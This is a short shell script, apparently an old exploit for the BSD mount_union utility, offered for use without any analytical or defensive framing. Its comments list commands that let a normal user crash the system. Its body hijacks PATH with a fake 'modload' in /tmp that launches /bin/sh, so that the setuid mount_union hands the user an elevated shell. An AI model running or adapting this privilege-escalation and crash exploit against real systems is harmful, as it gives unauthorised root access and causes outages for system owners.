#!/bin/sh
#
#
#  to crash system (as a normal user) try this:
#
# mkdir a
# mkdir b
# mount_union ~/a ~/b
# mount_union -b ~/a ~/b
#
#  to got euid try this:

export PATH=/tmp:$PATH
echo /bin/sh >/tmp/modload
chmod +x /tmp/modload
mount_union /dir1 /dir2

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